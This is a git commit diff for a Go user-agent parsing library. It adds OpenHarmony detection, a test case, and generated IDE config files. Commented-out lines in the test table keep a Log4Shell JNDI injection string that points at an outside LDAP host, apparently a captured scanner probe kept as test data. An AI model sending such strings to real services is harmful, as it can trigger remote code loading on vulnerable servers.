Support Harmony
This commit is contained in:
Generated
+8
@@ -0,0 +1,8 @@
|
||||
# Default ignored files
|
||||
/shelf/
|
||||
/workspace.xml
|
||||
# Editor-based HTTP Client requests
|
||||
/httpRequests/
|
||||
# Datasource local storage ignored files
|
||||
/dataSources/
|
||||
/dataSources.local.xml
|
||||
Generated
+5
@@ -0,0 +1,5 @@
|
||||
<component name="ProjectCodeStyleConfiguration">
|
||||
<state>
|
||||
<option name="PREFERRED_PROJECT_CODE_STYLE" value="Default" />
|
||||
</state>
|
||||
</component>
|
||||
Generated
+8
@@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/.idea/useragent.iml" filepath="$PROJECT_DIR$/.idea/useragent.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
||||
Generated
+9
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="WEB_MODULE" version="4">
|
||||
<component name="Go" enabled="true" />
|
||||
<component name="NewModuleRootManager">
|
||||
<content url="file://$MODULE_DIR$" />
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
</module>
|
||||
Generated
+6
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="VcsDirectoryMappings">
|
||||
<mapping directory="" vcs="Git" />
|
||||
</component>
|
||||
</project>
|
||||
@@ -34,6 +34,7 @@ const (
|
||||
FreeBSD = "FreeBSD"
|
||||
ChromeOS = "ChromeOS"
|
||||
BlackBerry = "BlackBerry"
|
||||
Harmony = "Harmony"
|
||||
|
||||
Opera = "Opera"
|
||||
OperaMini = "Opera Mini"
|
||||
@@ -132,6 +133,11 @@ func Parse(userAgent string) UserAgent {
|
||||
ua.OS = BlackBerry
|
||||
ua.OSVersion = tokens.get("BlackBerry")
|
||||
ua.Mobile = true
|
||||
|
||||
case tokens.exists("OpenHarmony"):
|
||||
ua.OS = Harmony
|
||||
ua.OSVersion = tokens.get("OpenHarmony")
|
||||
ua.Mobile = true
|
||||
}
|
||||
|
||||
switch {
|
||||
@@ -472,7 +478,7 @@ func checkVer(s string) (name, v string) {
|
||||
//v = s[i+1:]
|
||||
|
||||
switch s[:i] {
|
||||
case "Linux", "Windows NT", "Windows Phone OS", "MSIE", "Android":
|
||||
case "Linux", "Windows NT", "Windows Phone OS", "MSIE", "Android", "OpenHarmony":
|
||||
return s[:i], s[i+1:]
|
||||
case "CrOS x86_64", "CrOS aarch64", "CrOS armv7l":
|
||||
j := strings.LastIndex(s[:i], " ")
|
||||
@@ -607,7 +613,7 @@ func (p properties) findBestMatch(withVerOnly bool) string {
|
||||
for i := 0; i < n; i++ {
|
||||
for _, prop := range p.list {
|
||||
switch prop.Key {
|
||||
case Chrome, Firefox, Safari, "Version", "Mobile", "Mobile Safari", "Mozilla", "AppleWebKit", "Windows NT", "Windows Phone OS", Android, "Macintosh", Linux, "GSA", "CrOS", "Tablet":
|
||||
case Chrome, Firefox, Safari, "Version", "Mobile", "Mobile Safari", "Mozilla", "AppleWebKit", "Windows NT", "Windows Phone OS", Android, "Macintosh", Linux, "GSA", "CrOS", "Tablet", "OpenHarmony":
|
||||
default:
|
||||
// don' pick if starts with number
|
||||
if len(prop.Key) != 0 && prop.Key[0] >= 48 && prop.Key[0] <= 57 {
|
||||
|
||||
@@ -153,6 +153,8 @@ var testTable = [][]string{
|
||||
//{`${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus}`, "", "mobile", ua.Android},
|
||||
//
|
||||
|
||||
{"Mozilla/5.0 (Phone; OpenHarmony 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 ArkWeb/4.1.6.1 Mobile", "ArkWeb", "4.1.6.1", "mobile", ua.Harmony, ""},
|
||||
|
||||
//
|
||||
// ${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus}
|
||||
|
||||
@@ -258,6 +260,9 @@ func ExampleParse() {
|
||||
"Mozilla/5.0 (Linux; U; Android 4.3; en-us; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
|
||||
|
||||
"Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-A310F/A310FXXU2BQB1 Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36",
|
||||
|
||||
// Harmony
|
||||
"Mozilla/5.0 (Phone; OpenHarmony 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 ArkWeb/4.1.6.1 Mobile",
|
||||
}
|
||||
|
||||
for _, s := range userAgents {
|
||||
|
||||
Reference in New Issue
Block a user